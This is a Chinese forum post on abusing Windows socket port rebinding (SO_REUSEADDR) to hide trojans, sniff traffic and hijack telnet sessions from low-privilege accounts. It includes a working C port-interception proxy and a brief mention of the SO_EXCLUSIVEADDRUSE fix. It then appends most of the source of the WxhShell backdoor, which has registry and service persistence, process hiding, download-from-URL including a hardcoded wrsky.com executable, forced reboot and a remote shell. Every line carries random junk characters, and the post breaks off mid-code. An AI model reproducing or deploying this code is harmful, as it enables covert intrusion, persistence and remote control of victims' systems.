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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: "|8oFf)l@B  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~*iF`T6  
n-ffX*zA(  
  saddr.sin_family = AF_INET; @N Yl4N  
}93kHO{  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Cb;6yE)!Z  
AY/.vyS  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); vXDs/,`r  
:lB*kmg  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 x0<;Rm [u=  
.#yg=t1C  
  这意味着什么?意味着可以进行如下的攻击: EsGu#lD2  
O@Aazc5K  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 q| D5 A|)  
aS [[ AL  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) L )JB^cxf  
.t@|2  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 t$!zgUJ  
nONuw;K  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  rt+4-WuK>  
~~/,2^   
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 RAO+<m  
ETHcZ  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 z&%i"IY  
m# {'9 |  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 xOTvrX  
r{ R-X3s  
  #include P~\rP6 ;  
  #include MRLiiIrq,5  
  #include B"GC|}N )v  
  #include    ;"MChk  
  DWORD WINAPI ClientThread(LPVOID lpParam);   *J-pAN  
  int main() G8M~}I/)  
  { 3:WqUb\QK  
  WORD wVersionRequested; %OBW/Ti  
  DWORD ret; =<n ]T;  
  WSADATA wsaData; V+`kB3GV  
  BOOL val; gRY#pRT6d  
  SOCKADDR_IN saddr; << 6 GE  
  SOCKADDR_IN scaddr; Cf[tNq  
  int err; roS" q~GS,  
  SOCKET s; v,-Tk=qP  
  SOCKET sc; v?`R8  
  int caddsize; V"#0\ |]m  
  HANDLE mt; =7Ud-5c  
  DWORD tid;   J>_mDcPo  
  wVersionRequested = MAKEWORD( 2, 2 ); `yfZ{<  
  err = WSAStartup( wVersionRequested, &wsaData ); 0nwi5  
  if ( err != 0 ) { <j'K7We/tP  
  printf("error!WSAStartup failed!\n"); rbd0`J9fq  
  return -1; Orq/38:4G  
  } u n v:sV#b  
  saddr.sin_family = AF_INET; JG!B3^qB  
   >+%#m'Y&&  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ~wa4kS<>  
5eTA]  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 7:UeE~ uB:  
  saddr.sin_port = htons(23); d7V/#34  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) s 4`-mIa  
  { lO-DXbgql$  
  printf("error!socket failed!\n"); xv]z>4@z,  
  return -1; >e Gg 1  
  } if'=W6W  
  val = TRUE; CF;Gy L1M  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 wC{sP"D  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) iV{_?f1jo  
  { (@^9oN~}  
  printf("error!setsockopt failed!\n"); 45JL{YRN  
  return -1; *Dg@fxCQ  
  } Wg}KQ6 6  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; >|SIqB<%:  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 -m`|Sq  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Km5_P##  
Gld~GyB\k  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) @)b'3~ D  
  { ko}& X=  
  ret=GetLastError(); ; <FAc R  
  printf("error!bind failed!\n");  %j&vV>2  
  return -1; c^W;p2^  
  } q-z1ElrN7u  
  listen(s,2); ?AFb&  
  while(1) }U7IMONU  
  { 8-G )lyfj  
  caddsize = sizeof(scaddr); Q6(~VvC-  
  //接受连接请求 Y(,RJ&7  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); M ygCg(h  
  if(sc!=INVALID_SOCKET) Gpu[<Z4  
  { s,_+5ukv  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ]xvA2!) Q  
  if(mt==NULL) I$"Z\c8;  
  { .F ?ww}2p]  
  printf("Thread Creat Failed!\n"); /gu VA  
  break; "(mJupI  
  } ;2kQ)Bq"  
  } 2VV>?s  
  CloseHandle(mt); (XOz_K6c%K  
  } iF`_-t/k  
  closesocket(s); a?-Jj\q  
  WSACleanup(); m'2F#{  
  return 0; &eV5#Ph  
  }   ["nWIs[h  
  DWORD WINAPI ClientThread(LPVOID lpParam) DGJ:#U E  
  { U.TZd"  
  SOCKET ss = (SOCKET)lpParam; f,ro1Nke  
  SOCKET sc; VESvCei  
  unsigned char buf[4096]; xC< )]  
  SOCKADDR_IN saddr; Q h@Q6  
  long num; 7#)k-S!B  
  DWORD val; QbdXt%gZe  
  DWORD ret; dg|+?M^9`  
  //如果是隐藏端口应用的话,可以在此处加一些判断 g+o$&'\  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   rai'x/Ut}+  
  saddr.sin_family = AF_INET; qK'mF#n0#  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); s`x2Go  
  saddr.sin_port = htons(23); e,s  S.  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #. Dl1L/  
  { k)knyEUi  
  printf("error!socket failed!\n"); nDn+lWA=g  
  return -1; gxhp7c182  
  } 'N{1b_v?  
  val = 100; 6O/L~Z*t  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~;(\a@ _  
  { cEHpa%_5  
  ret = GetLastError(); IEm?'o:  
  return -1; u/W{JPlL  
  } R V#w 0 r  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7b1 yF,N  
  { Hl$qmq  
  ret = GetLastError(); TD\TVK3P  
  return -1; .EhC\QpP  
  } f?Ex$gnI  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 2@(+l*.Q  
  { *c#DB{N  
  printf("error!socket connect failed!\n"); |e8A)xM]wC  
  closesocket(sc); U,b80%k:  
  closesocket(ss); vT5GUO{5  
  return -1; b$2=w^*  
  } 3~`\FuHHe  
  while(1) 3+>R%TX6i<  
  { dtuCA"D  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 `_yksh3zL4  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 og$dv 23  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 igOX0  
  num = recv(ss,buf,4096,0); _U*R_2aV  
  if(num>0) O4-#)#-)S~  
  send(sc,buf,num,0); xpa+R^D5G  
  else if(num==0) dZ|bw0~_!  
  break; 1N),k5I  
  num = recv(sc,buf,4096,0); 70avr)OM  
  if(num>0) p YCMJK-H  
  send(ss,buf,num,0); {X, -T&  
  else if(num==0) Rq1 5AR  
  break; z .lb(xQ  
  } >$}Mr%49  
  closesocket(ss); Gad&3M0r  
  closesocket(sc); []\-*{^r  
  return 0 ; ]UO zz1   
  } MeD/)T{G~  
ft8  
++2a xRl  
========================================================== [ GknE#p  
UHY)+6qt]  
下边附上一个代码,,WXhSHELL {(-TWh7V  
*)r_Y|vg  
========================================================== (q"S0{  
#d8]cm=  
#include "stdafx.h" bIt{kzuQC  
qUe2(/TQu  
#include <stdio.h> }0R"ZPU1Rw  
#include <string.h> _u-tRHh|A  
#include <windows.h> 0lt1/PEKx2  
#include <winsock2.h> (Vey]J  
#include <winsvc.h> ^N}{M$  
#include <urlmon.h> 7<jr0)  
&}gH!5L m  
#pragma comment (lib, "Ws2_32.lib") ]mBlXE:Z  
#pragma comment (lib, "urlmon.lib") #)D$\0ag  
7TX$  
#define MAX_USER   100 // 最大客户端连接数 Q-_;.xy#4  
#define BUF_SOCK   200 // sock buffer a&)$s;  
#define KEY_BUFF   255 // 输入 buffer !G;BYr>X  
 OG IN-  
#define REBOOT     0   // 重启 0Q%I[f8  
#define SHUTDOWN   1   // 关机 Md:*[]<~  
uF,%N   
#define DEF_PORT   5000 // 监听端口 t2ui9:g4j  
Pw|/PfG  
#define REG_LEN     16   // 注册表键长度 #SLi v  
#define SVC_LEN     80   // NT服务名长度 `5t~ Vlp  
99h#M3@!  
// 从dll定义API ~O;?;@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %|}7YH41  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); l5e`m^GK  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); IxG0TJ_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Qe[ai?iJkt  
k:s86q  
// wxhshell配置信息 tchpO3u,  
struct WSCFG { MoC/xF&  
  int ws_port;         // 监听端口 NnZ_x>R  
  char ws_passstr[REG_LEN]; // 口令 :v-,-3AG  
  int ws_autoins;       // 安装标记, 1=yes 0=no mX SLH'  
  char ws_regname[REG_LEN]; // 注册表键名 bxz6 >>  
  char ws_svcname[REG_LEN]; // 服务名 tG,xG&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .@(MNq{"6  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Ky7-6$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^oHK.x#{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ]N'4q}<5o  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" kD+B8TrW  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 XK l3B=h  
b#e|#!Je  
}; "'8o8g  
Rm.9`<Y  
// default Wxhshell configuration wd:SBU~f5*  
struct WSCFG wscfg={DEF_PORT, {-c[w&q  
    "xuhuanlingzhe", JENq?$S  
    1, fwyz|>H_Y(  
    "Wxhshell", Yi"jj;!^S  
    "Wxhshell", )vur$RX  
            "WxhShell Service", M\9p-%"L  
    "Wrsky Windows CmdShell Service", $uNYus^vS  
    "Please Input Your Password: ", ?6^KY+ 5`C  
  1, -/qu."9(B  
  "http://www.wrsky.com/wxhshell.exe", |w^nCsv  
  "Wxhshell.exe" W^nG\"T^  
    }; Qgv-QcI{  
m>?{flO  
// 消息定义模块 'r`-J4icX  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *C(XGX\?-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8-R; &  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; hz+x)M`Y  
char *msg_ws_ext="\n\rExit."; ;lo!o9`<  
char *msg_ws_end="\n\rQuit."; n|iO)L\9aB  
char *msg_ws_boot="\n\rReboot..."; A =k{Rl{LA  
char *msg_ws_poff="\n\rShutdown..."; Qjh @oWT  
char *msg_ws_down="\n\rSave to "; #PRkqg+|  
ny~~xQ"  
char *msg_ws_err="\n\rErr!"; HTCn=MZm ?  
char *msg_ws_ok="\n\rOK!"; Yf(QU`w_  
Y;XEC;PXD  
char ExeFile[MAX_PATH]; *] cm{N  
int nUser = 0; 2V#(1Hc!  
HANDLE handles[MAX_USER]; {^ ^)bf|1'  
int OsIsNt; 13P8Zmco  
4jl-?  
SERVICE_STATUS       serviceStatus; }%9A+w}o  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ;HeUD5Nt6F  
3"hPplE  
// 函数声明 * 7 o(  
int Install(void); t/aT  
int Uninstall(void); Bq]eNq  
int DownloadFile(char *sURL, SOCKET wsh); x, ^j=n  
int Boot(int flag); e[7n`ka '  
void HideProc(void); Xj<B!Wn*Xb  
int GetOsVer(void); ~O}LAzGb  
int Wxhshell(SOCKET wsl); v [ 4J0  
void TalkWithClient(void *cs); @nS+!t{  
int CmdShell(SOCKET sock); V}kZowWD  
int StartFromService(void); G? "6[w/p  
int StartWxhshell(LPSTR lpCmdLine); 0xM\+R~,  
0"L_0 t:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #}W^d^-5t5  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =X11x)]F9  
auTApYS53  
// 数据结构和表定义 \Z^YaKj&  
SERVICE_TABLE_ENTRY DispatchTable[] = Q_F8u!qrZ  
{ Q=%1@ ,x"  
{wscfg.ws_svcname, NTServiceMain}, ~sSlfQWMzy  
{NULL, NULL} 0ZXG{Gp9S  
}; AVA hS}*t  
j9YI6X"  
// 自我安装 C<\|4ERp  
int Install(void) -Ug  
{ =:zmF]j9  
  char svExeFile[MAX_PATH]; vo[Zuv?<h  
  HKEY key; ^MGgFS]G  
  strcpy(svExeFile,ExeFile); qqSf17sW  
gI qYIt  
// 如果是win9x系统,修改注册表设为自启动 afcI5w;>}  
if(!OsIsNt) { iy{*w&p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X99:/3MXB'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .ns1;8  
  RegCloseKey(key); io$!z=W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v'*#P7%Kf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g,!6, v@  
  RegCloseKey(key); 1#9Q1@'OS  
  return 0; MGd 7Ont  
    } &C+pen) Z  
  } nxP>IfSA  
} eFUJASc  
else { wTGH5}QZ+  
mpBSd+ ;Z  
// 如果是NT以上系统,安装为系统服务 `2y2Bk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); brGUK PB  
if (schSCManager!=0) !52]'yub  
{ R;gN^Yjk:  
  SC_HANDLE schService = CreateService PG8|w[V1"  
  ( I_IDrS)O  
  schSCManager, 9GuG"^08  
  wscfg.ws_svcname, vl<W`)'  
  wscfg.ws_svcdisp, jX79Nm|  
  SERVICE_ALL_ACCESS, |~Hlv^6H  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , t/\J  
  SERVICE_AUTO_START, #N?EPV$  
  SERVICE_ERROR_NORMAL, xZ} 1dq8  
  svExeFile, vl8Ums} +  
  NULL, SNB >  
  NULL, J)iy6{0"  
  NULL, WhsTKy&E  
  NULL, Rw\ LVRdA  
  NULL p `)(  
  ); E-_FxBw  
  if (schService!=0) mYf7?I~  
  { wIIxs_2Q0c  
  CloseServiceHandle(schService); r<38; a  
  CloseServiceHandle(schSCManager); 7yLO<o?9w  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); j_VTa/  
  strcat(svExeFile,wscfg.ws_svcname); xJ)hGPrAl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { y|1,h}H^n  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (-tF=wR,W  
  RegCloseKey(key); Gk0f#;  
  return 0; #8G (r9  
    } w:P$ S  
  } y{ReQn3> y  
  CloseServiceHandle(schSCManager); @sRUl ,M;Z  
} r7r>1W%4  
} U)%gzXTZ%  
x'OE},>i  
return 1; s_A<bW566F  
} /(Se:jH$>  
%]Gm  
// 自我卸载 wiXdb[[#  
int Uninstall(void) 8_6\>hW&  
{ e#MEDjm/)g  
  HKEY key; $bRakF1'S  
)'BuRN8  
if(!OsIsNt) { w~A{]s{ 4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dHV3d'.P  
  RegDeleteValue(key,wscfg.ws_regname); &R:$h*Wt|  
  RegCloseKey(key); y<bA Y_-[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2yk32|  
  RegDeleteValue(key,wscfg.ws_regname); 6vySOVMj  
  RegCloseKey(key); |[/[*hDZ9  
  return 0; Z&gM7Zo8  
  } L|Zja*  
} '`$z!rA  
} c=iv\hn  
else { kGsd3t!'  
,C%fA>?UF8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); hm"i\JZ3N  
if (schSCManager!=0) Z<6XB{Nh\  
{ 3[plwe  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1'wwwxe7  
  if (schService!=0) u-g2*(ZT  
  { O`_!G`E  
  if(DeleteService(schService)!=0) { zWYm* c"n\  
  CloseServiceHandle(schService); z yyt`  
  CloseServiceHandle(schSCManager); $Cw> z^}u  
  return 0; !e?g"5r{Bv  
  } dGf:0xE"  
  CloseServiceHandle(schService); x#ub % t  
  } iq_y80g`8h  
  CloseServiceHandle(schSCManager); EY=`/~|c  
} @giJ&3S,  
} .:?X<=!S&t  
+.gM"JV  
return 1; RN(>37B3_  
} TxL;qZRY ^  
;fLYO6  
// 从指定url下载文件 x _&=IyU0j  
int DownloadFile(char *sURL, SOCKET wsh) +cS%b}O`$  
{ -F.A1{l[.  
  HRESULT hr; '|mVY; i[  
char seps[]= "/"; VPG+]> *  
char *token; v0762w  
char *file; $I40 hk  
char myURL[MAX_PATH]; ]PQ] f*Ik>  
char myFILE[MAX_PATH]; 'r;C( Gh6  
}TjiYA.  
strcpy(myURL,sURL); GORu*[U8  
  token=strtok(myURL,seps); o  RT<h  
  while(token!=NULL) ck-ab0n  
  { @Sb 86Ee  
    file=token; *k)v#;B  
  token=strtok(NULL,seps); i7g+8 zd8d  
  } %Q9 iR5?  
NV 6kj=r  
GetCurrentDirectory(MAX_PATH,myFILE); 8YNii-pl  
strcat(myFILE, "\\"); h/u>F$}c  
strcat(myFILE, file); <xOv0B  
  send(wsh,myFILE,strlen(myFILE),0); 6E~T$^Q}  
send(wsh,"...",3,0); v0EF?$Wo  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); z8W@N8IqC  
  if(hr==S_OK) KUs\7Sb  
return 0; 3KFw0(S/  
else QJ{to%  
return 1; x8H%88!j*  
3QlV,)}  
} ?M'_L']N[  
x2gnB@t  
// 系统电源模块 t Dx!m~[  
int Boot(int flag) 6")co9  
{ q:A{@kFq_  
  HANDLE hToken; a%f?OsY  
  TOKEN_PRIVILEGES tkp; |BrD:+  
oNV5su  
  if(OsIsNt) { V_Owi5h  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); S}zh0`+d'Z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =/xTUI4  
    tkp.PrivilegeCount = 1; {oIv%U9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @@$%+XNY  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |~Q`D dkX  
if(flag==REBOOT) { # 3{g6[Y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >Xz P'h  
  return 0; +^!;J/24  
} -cW`qWbd  
else { xsjJ8>G  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .O9 A[s<  
  return 0; 2K/+6t}  
} pyPS5vWG  
  } Of| e]GR  
  else { = ~{n-rMF  
if(flag==REBOOT) { Sb_T _m  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) nv WTx4oy  
  return 0; yP:/F|E$  
} 7/*a  
else { ~_vzss3-C  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) z:PH _N~  
  return 0; PVBf'  
} y?BzZ16\bL  
} "X/cG9Lw  
^fj):n5/  
return 1; C^Jf&a  
} rTJv>Jjld  
q3.L6M  
// win9x进程隐藏模块 ,BuN]9#  
void HideProc(void) -!]Ie4"  
{ QW ~-+BD  
9:tvkl  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); n ,<`.^  
  if ( hKernel != NULL ) BaSNr6 YW  
  { I W_:nm6  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [E_+fT  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); N_jCx*.G  
    FreeLibrary(hKernel); r Ntc{{3_  
  } {bF95Hs-  
@d5G\1(%  
return; IT \Pj_  
} =6#tJgg8  
cE x$cZRMI  
// 获取操作系统版本 [oOA@  
int GetOsVer(void) t >89( k  
{ ;0}8vs  
  OSVERSIONINFO winfo; 3HsjF5?W  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -e_+x'uF  
  GetVersionEx(&winfo); B"O5P>  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [ e4)"A"  
  return 1; wEK@B&DV  
  else [,_M@g3  
  return 0; Is6<3eQ\x  
} ],r?]>  
[0GM!3YJ7  
// 客户端句柄模块 _`!@  
int Wxhshell(SOCKET wsl) Ty]/F+{  
{ Qi^MfHW  
  SOCKET wsh; v |/IN  
  struct sockaddr_in client; ZIAiVq2)  
  DWORD myID;  z"BV+  
@URLFMFi  
  while(nUser<MAX_USER) pk'@!|g%=  
{ xh> /bU!>  
  int nSize=sizeof(client); t" 1'B!4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3mn0  
  if(wsh==INVALID_SOCKET) return 1; '3uj6Wq2  
N}\Da: _  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); z;x `dOP  
if(handles[nUser]==0)  l;>#O  
  closesocket(wsh); Yt*M|0bL  
else "fLGXbNQ  
  nUser++; 6wzF6] @O  
  } dJ`Fvj  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); lwLK#_5u  
yz-IZt(  
  return 0; sZ-]yr\E"  
} c1/G yq  
Sm#;fx+  
// 关闭 socket vII&v+C  
void CloseIt(SOCKET wsh) U-TwrX  
{ H<`[,t  
closesocket(wsh); *Rshzv[  
nUser--; *MkhRLw\,  
ExitThread(0); 6__@?XzJ  
} qce#  
8 Oeg"d  
// 客户端请求句柄 TMG:fg&E~  
void TalkWithClient(void *cs) C5Q|3d  
{ #I@]8U#,":  
(~pcPGUG  
  SOCKET wsh=(SOCKET)cs; 8{Y ?;~G  
  char pwd[SVC_LEN]; &RXd1>|c2  
  char cmd[KEY_BUFF]; y{ 90A  
char chr[1]; o<-%)#e  
int i,j; 'xb|5_D  
VO(Ck\i}  
  while (nUser < MAX_USER) { iyOd&|.  
:=~%&  
if(wscfg.ws_passstr) { >4\V/ I  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l{#m"S7J^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); iCN@G&rVw  
  //ZeroMemory(pwd,KEY_BUFF); 6u7 (}K  
      i=0; /+RNPQO O  
  while(i<SVC_LEN) { u7j-uVG  
s~/]nz]"J  
  // 设置超时 aJMh>  
  fd_set FdRead; /db?ltb  
  struct timeval TimeOut; ~1Tz[\H#R  
  FD_ZERO(&FdRead); T-&CAD3 ,O  
  FD_SET(wsh,&FdRead); C?rL>_+71  
  TimeOut.tv_sec=8; '*>LZo4  
  TimeOut.tv_usec=0; t@.gmUUA  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7OtQK`P"A  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `P/*x[?  
U`6QD}c"s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |!%A1 wp#  
  pwd=chr[0]; *U54x /w|  
  if(chr[0]==0xd || chr[0]==0xa) { QVn0!R{  
  pwd=0; { r&M  
  break; -xXNzC   
  } 46_<v=YSJ  
  i++; c7s4 g-  
    } LEhku4U.  
PR|Trnd&D  
  // 如果是非法用户,关闭 socket Z55,S=i  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Z(K[oUJx  
} p w>A Q  
*, *"G?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); CI{]o&Tf  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sQJM 4'8f  
&K>]!yn   
while(1) { X""'}X|O  
oTI*mGR1Z  
  ZeroMemory(cmd,KEY_BUFF); {'DP/]nK  
+"3eh1q[  
      // 自动支持客户端 telnet标准   XOqpys  
  j=0; CHeG{l)<r  
  while(j<KEY_BUFF) { IJ4"X#Q/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %- A8`lf<  
  cmd[j]=chr[0]; 2)j\Lg_M  
  if(chr[0]==0xa || chr[0]==0xd) { u~s'<c+8_  
  cmd[j]=0; dt`L}Yi  
  break; =AD/5E,3  
  } %4 SREq  
  j++; ePs<jrB<  
    } h*MR5qa  
"[[fQpe4@  
  // 下载文件 e982IP  
  if(strstr(cmd,"http://")) { nrt0[E-&~  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); l42m81x"  
  if(DownloadFile(cmd,wsh)) yFpHRfF}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); cJA :vHyw  
  else # Jdip)  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5?O/Aub  
  } Q`vyDoF  
  else { {t=Nnc15K  
xh-[]Jz(  
    switch(cmd[0]) { H <1?<1^  
  raqLXO!j  
  // 帮助 3$Is==>7  
  case '?': { I.8|kscM  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0'py7  
    break; oVq@M  
  } \B}W(^\wg;  
  // 安装 c<D Yk f  
  case 'i': { Ra{B8)Q  
    if(Install()) COHJJONR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dlT\VWMha(  
    else pRU6jV 6e)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8W$="s2  
    break; Q ,;x;QR4  
    } N\uQ-XOi  
  // 卸载 Ec\x;li! *  
  case 'r': { %x927I>  
    if(Uninstall()) O]Kb~jkd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }TF<C !]  
    else 6U&Uyd)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z!3Z^d`  
    break; rmabm\QY  
    } %'=oMbi>i4  
  // 显示 wxhshell 所在路径 Qy70/on9  
  case 'p': { VuPET  
    char svExeFile[MAX_PATH]; dt \O7Rjw8  
    strcpy(svExeFile,"\n\r"); <oXsn.'\  
      strcat(svExeFile,ExeFile); i3%~Gc63  
        send(wsh,svExeFile,strlen(svExeFile),0); xc/|#TC8?  
    break; <GNOT"z  
    } l?R_wu,Q  
  // 重启 0l:5hD,)F  
  case 'b': { eXOFAd]>u  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3?%kawO&  
    if(Boot(REBOOT)) <>e<Xd:77{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W@ Z=1y  
    else { X*JD  
    closesocket(wsh); e`~q ;?:  
    ExitThread(0); WuNu}Ibl}m  
    } Dw #&x/G  
    break; e{} o:r  
